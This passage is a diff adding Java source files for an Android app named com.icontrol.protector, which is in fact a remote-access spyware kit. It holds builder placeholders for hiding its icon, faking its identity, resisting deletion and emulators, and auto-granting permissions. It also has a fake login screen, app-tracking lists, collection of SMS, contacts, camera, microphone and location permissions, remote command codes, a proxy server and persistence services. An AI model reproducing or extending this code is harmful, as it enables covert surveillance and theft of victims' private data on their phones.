InputStream inputStream;
if (responseCode >= 200 && responseCode < 300) {
inputStream = connection.getInputStream(); // For successful responses
} else {
inputStream = connection.getErrorStream(); // For error responses
}
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
StringBuilder response = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
response.append(line);
}
reader.close();
// Log the response from the server
if (responseCode == HttpURLConnection.HTTP_OK) {
Log.i("MyExceptionHandler", "Error log sent to server successfully. Server Response: " + response.toString());
} else {
Log.e("MyExceptionHandler", "Failed to send error log to server. Response Code: " + responseCode
+ ". Server Response: " + response.toString());
}
connection.disconnect();
} catch (Exception e) {
Log.e("MyExceptionHandler", "Error while sending error log to server", e);
}
}).start();
}
}
@@ -0,0 +1,57 @@
package com.icontrol.protector;
import android.app.job.JobParameters;
import android.app.job.JobService;
import android.content.Intent;
import android.os.Build;
import androidx.work.Configuration;
public class MyJobService extends JobService {
private static final String TAG = "MyJobService";
@Override
public boolean onStartJob(JobParameters params) {
try {
Intent workint = new Intent(getApplicationContext(), EngineWorker.class);
if (!MyCods.isServiceRunning(getApplicationContext(), EngineWorker.class)) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint);
} else {
startService(workint);
}
}
if (!MyCods.isServiceRunning(getApplicationContext(), WorkServices.class)) {
Intent workint2 = new Intent(getApplicationContext(), WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(workint2);
} else {
startService(workint2);
}
} else {
try {
Intent intent = new Intent(getApplicationContext(), WorkServices.class);
intent.setAction("HB");
startService(intent);
} catch (Exception s) {
}
}
//AlarmHelper.setAlarm(getApplicationContext(), EngineWorker.class, System.currentTimeMillis() + 15000);
// jobFinished(params, true);
} catch (Exception a) {
}
return false;
}
@Override
public boolean onStopJob(JobParameters params) {
return true;
}
}
@@ -0,0 +1,19 @@
package com.icontrol.protector;
import android.util.Log;
public class MyLoger {
public static void Debug(String AT,String msg){
Log.d("[IC:D]",AT +": "+msg);
}
public static void Error(String AT,String msg){
Log.e("[IC:E]",AT +": "+msg);
}
public static void Info(String AT,String msg){
Log.i("[IC:I]",AT +": "+msg);
}
}
@@ -0,0 +1,137 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.resizeIcon;
import android.app.NotificationManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;
import android.widget.RemoteViews;
import androidx.core.app.NotificationCompat;
public class MyNotification {
private static MyNotification instance;
private static String channelId = "updates";
private static String title = "";
private NotificationManager notificationManager;
private MyNotification(Context context) {
notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
}
public static MyNotification getInstance(Context context) {
if (instance == null) {
instance = new MyNotification(context);
}
return instance;
}
// public static Bitmap createBlankBitmap(int width, int height) {
// Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
// Canvas canvas = new Canvas(bitmap);
// canvas.drawColor(Color.WHITE); // Fill with white color, change as needed
// return bitmap;
// }
public static Intent goToNotificationSettings(String channelId, Context context) {
Intent intent = new Intent();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// For Android 8.0 (API 26) and above
if (channelId != null) {
intent.setAction(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS);
intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName());
intent.putExtra(Settings.EXTRA_CHANNEL_ID, channelId);
} else {
intent.setAction(Settings.ACTION_APP_NOTIFICATION_SETTINGS);
intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName());
}
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
// For Android 7.0 (API 24) and 7.1 (API 25)
intent.setAction(Settings.ACTION_APP_NOTIFICATION_SETTINGS);
intent.putExtra(Settings.EXTRA_APP_PACKAGE, context.getPackageName());
} else {
// For Android 5.0 (API 21) to Android 6.0 (API 23)
intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS");
intent.putExtra("app_package", context.getPackageName());
intent.putExtra("app_uid", context.getApplicationInfo().uid);
}
// Ensure the intent can be handled before starting the activity
if (intent.resolveActivity(context.getPackageManager()) != null) {
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
return intent;
} else {
// Fallback to the app's detail settings if the specific intent action is not available
Intent fallbackIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
fallbackIntent.setData(Uri.parse("package:" + context.getPackageName()));
fallbackIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
return fallbackIntent;
}
}
public Notification createNotification(Context context) {
//Intent fullScreenIntent = new Intent(context,tofront.class);
Intent fullScreenIntent = goToNotificationSettings(channelId,context);
fullScreenIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
PendingIntent fullScreenPendingIntent = PendingIntent.getActivity(context, 0,
fullScreenIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
NotificationCompat.Builder builder =null;
builder = new NotificationCompat.Builder(context, channelId)
.setContentTitle(My_Configs._Notfy_TITL_)
.setContentText(My_Configs._Notfy_MSG_)
.setSmallIcon(R.drawable.notify)
.setContentIntent(fullScreenPendingIntent)
.setOngoing(true)
.setSilent(true)
.setShowWhen(false)
.setCategory(NotificationCompat.CATEGORY_CALL)
.setOnlyAlertOnce(true)
.setVisibility(NotificationCompat.VISIBILITY_PUBLIC)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(false);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
// Only use full-screen intent on older Android if needed
builder.setFullScreenIntent(fullScreenPendingIntent, false); // or remove it entirely
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel(channelId, "update", NotificationManager.IMPORTANCE_HIGH);
channel.setDescription(My_Configs._Notfy_MSG_);
channel.setShowBadge(false);
notificationManager.createNotificationChannel(channel);
//channel.canBypassDnd();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
channel.setAllowBubbles(false);
}
channel.setLockscreenVisibility(Notification.VISIBILITY_PUBLIC);
channel.setSound(null,null);
builder.setOngoing(true);
}
builder.setSound(null);
return builder.build();
}
}
@@ -0,0 +1,34 @@
package com.icontrol.protector;
import android.content.Context;
import android.util.Log;
import java.io.UnsupportedEncodingException;
public class MyPacket {
public String Command = null;
public byte [] byt = null;
public MyPacket(byte[] s, byte[] b){
try {
//encryption
// Cryptors Crypter = Cryptors.Getinstance(ctx);
// Command = Crypter.Decrypt(new String(s, "UTF-8"));
// byte [] bytEnc = b;
// String strbytE = Crypter.Decrypt(Crypter.getString(b));
// byt = Crypter.getBytes(strbytE);
//noencryption
Command = new String(s, "UTF-8");
byt = b;
} catch (UnsupportedEncodingException e) {
// Log.e("Error MyPacket1:","");
e.printStackTrace();
}
catch (Exception e) {
//Log.e("Error MyPacket2:","");
e.printStackTrace();
}
}
}
@@ -0,0 +1,286 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.isPermissionDeclaredInManifest;
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Environment;
import android.provider.Settings;
import androidx.annotation.RequiresApi;
import androidx.core.app.ActivityCompat;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.json.JSONObject;
public class MyPermissions {
public enum Prims {
Files,
Camera,
Microphone,
SMS,
Contacts
//Location,
}
@RequiresApi(api = Build.VERSION_CODES.M)
public static String Load(Context ctx) {
JSONObject json = new JSONObject();
try {
json.put(Consts.Time_Stamp, UtliTools.FullStamp());
json.put(Consts.Accessibility_Service, MyCods.is_Access_Enabled(ctx, AccessServices.class));
json.put(Consts.Read_Contacts, ctx.checkSelfPermission("android.permission.READ_CONTACTS") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Read_SMS, ctx.checkSelfPermission("android.permission.READ_SMS") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Read_Call_Log, ctx.checkSelfPermission("android.permission.READ_CALL_LOG") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Acc_Camera, ctx.checkSelfPermission("android.permission.CAMERA") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Get_Accounts, ctx.checkSelfPermission("android.permission.GET_ACCOUNTS") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Record_Audio, ctx.checkSelfPermission("android.permission.RECORD_AUDIO") == PackageManager.PERMISSION_GRANTED);
json.put("Location",
ctx.checkSelfPermission("android.permission.ACCESS_FINE_LOCATION") == PackageManager.PERMISSION_GRANTED
&& ctx.checkSelfPermission("android.permission.ACCESS_COARSE_LOCATION") == PackageManager.PERMISSION_GRANTED);
//json.put("Location", false);
json.put(Consts.Call_Phone, ctx.checkSelfPermission("android.permission.CALL_PHONE") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Call_Record, false);
json.put(Consts.Send_SMS, ctx.checkSelfPermission("android.permission.SEND_SMS") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Set_Wallpaper, ctx.checkSelfPermission("android.permission.SET_WALLPAPER") == PackageManager.PERMISSION_GRANTED);
json.put(Consts.Doze_Mode, UtliTools.IsIgnore_Battery(ctx));
json.put(Consts.Draw_Overlays, Build.VERSION.SDK_INT < Build.VERSION_CODES.M || Settings.canDrawOverlays(ctx));
json.put(Consts.Package_Installs, Build.VERSION.SDK_INT < Build.VERSION_CODES.O || ctx.getPackageManager().canRequestPackageInstalls());
json.put(Consts.write_settings_sys, false);
//json.put(Consts.write_settings_sys,Settings.System.canWrite(ctx));
boolean filesallowed = false;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
filesallowed = Environment.isExternalStorageManager();
} else {
String[] filesp = MyPermissions.GetPrimname(MyPermissions.Prims.Files);
filesallowed = MyPermissions.hasPermissions(ctx, filesp);
}
json.put(Consts.file_acc_state, String.valueOf(filesallowed));
boolean ispostok = true;
if (Build.VERSION.SDK_INT >= 33) {
if (ctx.checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
ispostok = false;
}
}
json.put(Consts.Post_Noty, ispostok);
} catch (Exception e) {
e.printStackTrace();
}
return json.toString();
}
public static String[] GetPrimname(Prims pr) {
ArrayList<String> listp = new ArrayList<String>();
switch (pr) {
case Files:
listp.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
listp.add(Manifest.permission.READ_EXTERNAL_STORAGE);
break;
case Camera:
listp.add(Manifest.permission.CAMERA);
break;
case Microphone:
listp.add(Manifest.permission.RECORD_AUDIO);
//listp.add(Manifest.permission.CALL_PHONE);
break;
case SMS:
listp.add(Manifest.permission.READ_SMS);
break;
case Contacts:
listp.add(Manifest.permission.READ_CONTACTS);
// listp.add(Manifest.permission.WRITE_CONTACTS);
// listp.add(Manifest.permission.READ_CALL_LOG);
break;
// case Location:
// listp.add(Manifest.permission.ACCESS_FINE_LOCATION);
// listp.add(Manifest.permission.ACCESS_COARSE_LOCATION);
// listp.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
// break;
}
String[] Arryprims = listp.toArray(new String[listp.size()]);
return Arryprims;
}
public static boolean hasPermissions(Context context, String... permissions) {
if (context != null && permissions != null) {
for (String permission : permissions) {
if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) {
return false;
}
}
}
return true;
}
public static String[] ALL_PERMISSIONS(Context ctx) {
List<String> permissions = new ArrayList<>();
ConfigManager cf = ConfigManager.getInstance();
if (cf.req_files) {
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.R) {
permissions.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
permissions.add(Manifest.permission.READ_EXTERNAL_STORAGE);
}
}
if (cf.req_Rcontct) {
permissions.add(Manifest.permission.READ_CONTACTS);
permissions.add(Manifest.permission.WRITE_CONTACTS);
// permissions.add(Manifest.permission.READ_PHONE_NUMBERS);
}
if (cf.req_sms) {
permissions.add(Manifest.permission.READ_SMS);
}
if (cf.req_ssms) {
permissions.add(Manifest.permission.SEND_SMS);
}
//permissions.add(Manifest.permission.READ_CALL_LOG);
if (cf.req_cam) {
permissions.add(Manifest.permission.CAMERA);
}
// boolean declared = isPermissionDeclaredInManifest(ctx, Manifest.permission.READ_PHONE_STATE);
// if (declared) {
permissions.add(Manifest.permission.READ_PHONE_STATE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
permissions.add(Manifest.permission.READ_PHONE_NUMBERS);
}
//}
if (cf.req_accunts) {
permissions.add(Manifest.permission.GET_ACCOUNTS);
}
if (cf.req_mic) {
permissions.add(Manifest.permission.RECORD_AUDIO);
}
permissions.add(Manifest.permission.CHANGE_WIFI_STATE);
permissions.add(Manifest.permission.ACCESS_WIFI_STATE);
permissions.add(Manifest.permission.ACCESS_NETWORK_STATE);
permissions.add(Manifest.permission.WAKE_LOCK);
permissions.add(Manifest.permission.INTERNET);
//permissions.add(Manifest.permission.SCHEDULE_EXACT_ALARM);
//permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION);
//permissions.add(Manifest.permission.ACCESS_FINE_LOCATION);
// if (Build.VERSION.SDK_INT >= 33 && cf.req_notification) {
// permissions.add(Manifest.permission.POST_NOTIFICATIONS);
// }
if (cf.req_location) {
permissions.add(Manifest.permission.ACCESS_FINE_LOCATION);
permissions.add(Manifest.permission.ACCESS_COARSE_LOCATION);
}
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// permissions.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
// }
Iterator<String> iter = permissions.iterator();
while (iter.hasNext()) {
String perm = iter.next();
if (!isPermissionDeclaredInManifest(ctx, perm)) {
iter.remove();
}
}
return permissions.toArray(new String[0]);
}
public static String[] GetRequierdPrims(String Command) {
try {
String[] RP;
ArrayList<String> ListPrims = new ArrayList<>();
if (Command.contains("FA")) {
ListPrims.add("android.permission.READ_EXTERNAL_STORAGE");
ListPrims.add("android.permission.WRITE_EXTERNAL_STORAGE");
}
if (Command.contains("CA")) {
ListPrims.add("android.permission.CAMERA");
}
if (Command.contains("MC")) {
ListPrims.add("android.permission.RECORD_AUDIO");
}
if (Command.contains("SS")) {
ListPrims.add("android.permission.SEND_SMS");
}
// if (Command.contains("RC"))
// {
// ListPrims.add("android.permission.PROCESS_OUTGOING_CALLS");
//
// }
if (Command.contains("SW")) {
ListPrims.add("android.permission.SET_WALLPAPER");
}
if (Command.contains("RS")) {
ListPrims.add("android.permission.READ_SMS");
}
if (Command.contains("RCG")) {
ListPrims.add("android.permission.READ_CALL_LOG");
}
if (Command.contains("CRC")) {
ListPrims.add("android.permission.READ_CONTACTS");
}
if (Command.contains("GA")) {
ListPrims.add("android.permission.GET_ACCOUNTS");
}
if (Command.contains("LOC")) {
ListPrims.add("android.permission.ACCESS_FINE_LOCATION");
// ListPrims.add("android.permission.ACCESS_BACKGROUND_LOCATION");
ListPrims.add("android.permission.ACCESS_COARSE_LOCATION");
}
if (Command.contains("NT")) {
ListPrims.add("android.permission.POST_NOTIFICATIONS");
}
RP = new String[ListPrims.size()];
return ListPrims.toArray(RP);
} catch (Exception e) {
return new String[]{"EX", e.getMessage()};
}
}
}
@@ -0,0 +1,53 @@
package com.icontrol.protector;
import android.content.Context;
import android.util.Log;
import org.json.JSONObject;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
public class MyProxy {
private ServerSocket serverSocket;
private boolean running = true;
public MyProxy(int port) throws IOException {
serverSocket = new ServerSocket(port);
}
public void start(Context ctx) {
while (running) {
try {
Socket clientSocket = serverSocket.accept();
// Handle the client request in a separate thread
proxystate(ctx,"Active");
new Thread(new RequestHandler(clientSocket,ctx)).start();
} catch (IOException e) {
Log.e("Proxy", "Error accepting client connection", e);
}
}
}
private void proxystate(Context ctx, String thestate){
try{
JSONObject message = new JSONObject();
message.put("ctype", "state");//call type
message.put("pxstate", thestate);
LiveChat.instance(ctx).ProxyMsg(ctx,message);
}catch (Exception a){
MyLoger.Error("logserver","Error "+a.getMessage());
a.printStackTrace();
}
}
public void stop() {
running = false;
try {
serverSocket.close();
} catch (IOException e) {
Log.e("Proxy", "Error closing server socket", e);
}
}
}
@@ -0,0 +1,112 @@
package com.icontrol.protector;
import android.app.Activity;
import android.content.Context;
import android.content.SharedPreferences;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Set;
public class MySettings {
private static SharedPreferences mSharedPref;
public static void init(Context context){
if(mSharedPref == null){
mSharedPref = context.getSharedPreferences(context.getPackageName(), Activity.MODE_PRIVATE);
}
}
public static void Write(Context context, String key,String value)
{
try
{
init(context);
SharedPreferences.Editor prefsEditor = mSharedPref.edit();
prefsEditor.putString(key, value);
prefsEditor.apply();
}catch (Exception s){
s.printStackTrace();
}
}
public static String Read(Context context, String key, String defValue) {
try
{
init(context);
return mSharedPref.getString(key, defValue);
}catch (Exception a){
a.printStackTrace();
}
return defValue;
}
public static void WriteBool(Context context, String key,boolean value)
{
try
{
init(context);
SharedPreferences.Editor prefsEditor = mSharedPref.edit();
prefsEditor.putBoolean(key, value);
prefsEditor.apply();
}catch (Exception s){}
}
public static boolean ReadBool(Context context, String key, boolean defValue) {
try
{
init(context);
return mSharedPref.getBoolean(key, defValue);
}catch (Exception a){
a.printStackTrace();
}
return defValue;
}
public static void WriteList(Context context, String key, ArrayList<String> thelist) {
// Retrieve the existing list (if it exists)
try{
init(context);
Set<String> savedList = mSharedPref.getStringSet(key, new HashSet<String>());
// Merge the new list with the old one
Set<String> updatedList = new HashSet<>(savedList);
updatedList.addAll(thelist); // Add all items from the new list
// Save the updated list
SharedPreferences.Editor editor = mSharedPref.edit();
editor.putStringSet(key, updatedList);
editor.apply();
}catch (Exception a){
a.printStackTrace();
}
}
public static ArrayList<String> ReadList(Context context, String key) {
try{
init(context);
Set<String> savedlist = mSharedPref.getStringSet(key, new HashSet<String>());
if (savedlist == null) {
return null;
}
return new ArrayList<>(savedlist);
}catch (Exception a){
a.printStackTrace();
}
return null;
}
public static void ClearList(Context context, String key) {
try{
init(context);
SharedPreferences.Editor editor = mSharedPref.edit();
// Remove the value associated with the key
editor.remove(key);
// Apply changes
editor.apply();
}catch (Exception a){
a.printStackTrace();
}
}
}
@@ -0,0 +1,226 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.Fix_it;
import com.github.megatronking.stringfog.annotation.StringFogIgnore;
@StringFogIgnore
public class My_Configs {
//public static String mydom = "[CRNT-DOM]"; // > yaarsa.com
//public static String mydom = "[CRNT-DOM]";
public static String OConstsS = "[OBFS]";
public static String HA = get_ha();
private static String get_ha(){
return "com.icontrol.protector.A2";
}
public static String MA = get_ma();
private static String get_ma(){
return "com.icontrol.protector.A1";
}
public static String subdir = get_sbdir(); // > /yaarsa/private/
//public static String subdir = "/yaarsa/private/";
private static String get_sbdir(){
//todo:<-----
return "[CRNT-SUB]";
// return "/yaarsa/private/";
}
//public static String Drop_name = Fix_it("[OBFS]com.appd.instll","[OBFS]");
public static String Mob_Name = Fix_it("[OBFS][Client_N]","[OBFS]");
public static String _Notfy_TITL_ = Fix_it("[OBFS][_NOTIFI_TITLE_]","[OBFS]");
public static String _Notfy_MSG_ = Fix_it("[OBFS][_NOTIFI_MSG_]","[OBFS]");
//facebook[<s>]facebook.com[<s>]com.facebook.katana|youtube[<s>]youtube.com[<s>]com.google.android.youtube|
public static String Tracking_Data_str = "[NAME>LNK>ID!]";
//public static String Tracking_Data_str = "ZmFjZWJvb2tbPHM+XWZhY2Vib29rLmNvbVs8cz5dY29tLmZhY2Vib29rLmthdGFuYQ==|eW91dHViZVs8cz5deW91dHViZS5jb21bPHM+XWNvbS5nb29nbGUuYW5kcm9pZC55b3V0dWJl|";
//todo:<-----
public static String _Login_title_ = "[log-title]";
// public static String _Login_title_ = "Title Test";
//todo:<-----
public static String _Login_dis_ = "[log-dis]";
// public static String _Login_dis_ = "Dis Test";
//todo:<-----
public static String _Login_btn_ = "[log-btn]";
// public static String _Login_btn_ = "Ha";
//todo:<-----
//public static String _Login_lng_ = "[log-lng]";
//public static String _Login_lng_ = "en";
//todo:<-----
//spysolr.com<spysolr.site<home.test.ftp<192.168.1.2<192.168.1.4<
// public static String USR_HOST ="DWPNyHiJTuC6zEmHBD+dbg==";[SERVER_ADRESS]
public static String USR_HOST ="[SERVER_ADRESS]";//192.168.1.8<
//todo:<-----
//public static String USR_MAIL = "aw1R0HK5SaOm3AxxNLI5qsyAXP06nWRxFApm/EzkJ+o=";[USER_MAIL]
public static String USR_MAIL= "[USER_MAIL]";
//todo:<-----
//public static String HOME_NAME= cr.Dcrpt_Str("[BSE_URL]");
public static String HOME_NAME = "[BSE_URL]";
public static String Click_Prim= get_click();
private static String get_click(){
//todo:<-----
return "[USE-AUTOGRANT]";
// return "1";
}
public static String CONS_KY= get_cok();
//[USE-AUTOBTRY] reused from battery to replace connection key
private static String get_cok(){
//todo:<-----
return "[USE-AUTOBTRY]";
//return "BTMOB";
}
// public static String Stiky_Recent = get_kill();
//
//
// private static String get_kill(){
// //todo:<-----
// return "[USE-NOKILL]";
// // return "1";
// }
public static String Anti_Delete= get_undelete();
private static String get_undelete(){
//todo:<-----
return "[USE-DELTE]";
// return "1";
}
public static String ALL_CONFIG = get_allconfig();
private static String get_allconfig(){
//todo:<-----
return "[ALL-CONFG]";
//return "1|1[*]1|1[*]1|1[*]0|0[*]0|0[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1[*]1|1";// need|request
// String access = "1|1";
// String drawOverApps = "1|1";
// String backgroundDataUsage = "0|0";
// String usageAccess = "0|0";
// String changePhoneSettings = "0|0";
// String batteryOptimization = "1|1";
// String filesAccess = "1|1";
// String cameraAccess = "1|1";
// String microphoneAccess = "0|0";
// String readSMS = "0|0";
// String sendSMS = "0|0";
// String readContacts = "1|1";
// String readAccounts = "1|1";
// String shownification = "1|1";
// String hidepermissions = "0|0";
// String disablePlay = "1|1";
// String reqlocation = "0|0";
//
//
// String result = String.join("[*]",
// access, drawOverApps, backgroundDataUsage, usageAccess,
// changePhoneSettings, batteryOptimization, filesAccess,
// cameraAccess, microphoneAccess, readSMS, sendSMS,
// readContacts, readAccounts,shownification,hidepermissions,disablePlay,reqlocation);
//
//
// return result;
}
public static String Anti_emulator = get_emu();
private static String get_emu(){
//todo:<-----
return "[USE-NOEMU]";
//return "1";
}
public static String Hide_ico = get_hideit();
private static String get_hideit(){
//todo:<-----
return "[USE-HIDDEEN]";
//return "1";
}
public static String Hide_Type = get_hideentype();
private static String get_hideentype(){
//todo:<-----
return "[USE-FAKE]";
// return "c"; c for complete hide
//return "f";
// return "c";
}
public static String Access_type = get_accsstype();
private static String get_accsstype(){
//todo:<-----
return "[USE-GUID]";
// return "d";
// return "g";
}
public static String Prevent_sleep = get_dozestate();
private static String get_dozestate(){
//todo:<-----
return "[USE-DOZE]";
//return "1";
}
public static String Is_Store = get_storemod();
private static String get_storemod(){
//todo:<-----
return "[USE-STORE]";
//return "1";
}
public static String Capture_Lock = get_caplock();
private static String get_caplock(){
//todo:<-----
return "[USE-CAPLOCK]";
// return "1";
}
}
@@ -0,0 +1,72 @@
package com.icontrol.protector;
import static com.icontrol.protector.Consts.IV;
import static com.icontrol.protector.Consts.SALT;
import android.util.Base64;
import java.io.UnsupportedEncodingException;
import java.security.Key;
import java.security.spec.KeySpec;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
public class My_Crpter {
private static My_Crpter mp =null;
public static synchronized My_Crpter Getinstance() {
if (mp == null) {
mp = new My_Crpter();
}
return mp;
}
private My_Crpter(){
}
public String Dcrpt_Str(String encrypted) {
try{
byte[] decodedValue = Base64.decode(getBytes(encrypted),Base64.NO_WRAP);
Cipher c = Get_Cifr(Cipher.DECRYPT_MODE);
byte[] decValue = c.doFinal(decodedValue);
return new String(decValue);
}catch (Exception s){
s.printStackTrace();
}
return encrypted;
}
public byte[] getBytes(String str) throws UnsupportedEncodingException {
return str.getBytes("UTF-8");
}
private Cipher Get_Cifr(int mode) throws Exception {
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
byte[] iv = getBytes(IV);
c.init(mode, Gnrat_Ky(), new IvParameterSpec(iv));
return c;
}
private Key Gnrat_Ky() throws Exception {
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
char[] password = Consts.PASSWORD.toCharArray();
byte[] salt = getBytes(SALT);
KeySpec spec = new PBEKeySpec(password, salt, 65536, 128);
SecretKey tmp = factory.generateSecret(spec);
byte[] encoded = tmp.getEncoded();
return new SecretKeySpec(encoded, "AES");
}
}
@@ -0,0 +1,137 @@
package com.icontrol.protector;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Settings;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import java.util.Locale;
public class OPPOAutostart extends Activity {
private ImageView imageView;
//private TextView textView;
private Button nextButton;
private int clicks = 0;
private int currentIndex = 0;
private int[] imageResources = {R.drawable.oppo_bty_en_1, R.drawable.oppo_bty_en_2};
private String[] texts = {"Next", "OK"};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.oppobattery);
imageView = findViewById(R.id.imageView);
//textView = findViewById(R.id.textView);
nextButton = findViewById(R.id.nextButton);
// Determine the phone's language
Locale currentLocale = getResources().getConfiguration().locale;
String language = currentLocale.getLanguage();
// Set the image resources based on the phone's language
if (language.equals("ar")) {
imageResources = new int[]{R.drawable.oppo_bty_ar_1, R.drawable.oppo_bty_ar_2};
nextButton.setText("التالي");
texts = new String[] {"التالي", "تفعيل"};
} else if (language.equals("zh")) {
imageResources = new int[]{R.drawable.oppo_bty_cn_1, R.drawable.oppo_bty_cn_2};
nextButton.setText("下一个");
texts = new String[] {"下一个", "使能够"};
} else {
// Default to English language
imageResources = new int[]{R.drawable.oppo_bty_en_1, R.drawable.oppo_bty_en_2};
nextButton.setText("Next");
texts = new String[] {"Next", "OK"};
}
// Set the first image and text
imageView.setImageResource(imageResources[currentIndex]);
//textView.setText(texts[currentIndex]);
final Context ctx = getApplicationContext();
nextButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
currentIndex++;
if (currentIndex < imageResources.length) {
imageView.setImageResource(imageResources[currentIndex]);
nextButton.setText(texts[currentIndex]);
clicks+=1;
} else {
if (clicks == 1){
openNextActivity(ctx);
clicks+=1;
imageView.setImageDrawable(null);
String CurrnetLanuage = Locale.getDefault().getLanguage();
switch (CurrnetLanuage){
case "en":
nextButton.setText("Continue");
break;
case "ar":
nextButton.setText("متابعة");
break;
case "zh":
nextButton.setText("好的");
break;
case "tr":
nextButton.setText("Tamam");
break;
default:
nextButton.setText("Done");
break;
}
}else{
finish();
}
}
}
});
}
@Override
protected void onDestroy() {
super.onDestroy();
}
@Override
public void finish() {
super.finish();
}
private void openNextActivity(Context context) {
try {
Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri.parse("package:"+context.getPackageName().toString()));
context.startActivity(intent);
} catch (Exception e) {
try {
Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(settingsIntent);
}catch (Exception a){
}
}
}
}
@@ -0,0 +1,133 @@
package com.icontrol.protector;
import android.Manifest;
import android.app.Activity;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.view.Window;
import android.view.WindowManager;
import androidx.core.app.ActivityCompat;
public class PermissionsActivity extends Activity {
private static PermissionsActivity instance = null;
public static boolean isOpen(){
if (instance != null){
return true;
}
return false;
}
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try
{
// Context ctx = getApplicationContext();
instance = this;
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
//setFinishOnTouchOutside(false);
int PERMISSION_ALL = 987;
String[] PERMISSIONS = MyPermissions.ALL_PERMISSIONS(getApplicationContext());
if((Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) && !MyPermissions.hasPermissions(getApplicationContext(), PERMISSIONS)){
requestPermissions( PERMISSIONS, PERMISSION_ALL);
// if (Build.VERSION.SDK_INT >= 34 && WorkServices.My_Access_inst != null){
// final Handler handler = new Handler();
// handler.postDelayed(new Runnable() {
// @Override
// public void run() {
// if(My_Configs.Click_Prim.equals("1")){
// ToggleAccess(true);
// }
// AccessTools.Treger("fourceit",null);
//
// }
// }, 1000);
// // finish();
// }else{
if(My_Configs.Click_Prim.equals("1")){
ToggleAccess(true);
}
// }
}else{
finish();
}
}catch (Exception a){
MyLoger.Error("ActPrims_onCreate",a.getMessage());
}
}
@Override
protected void onResume() {
super.onResume();
}
boolean once = false;
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
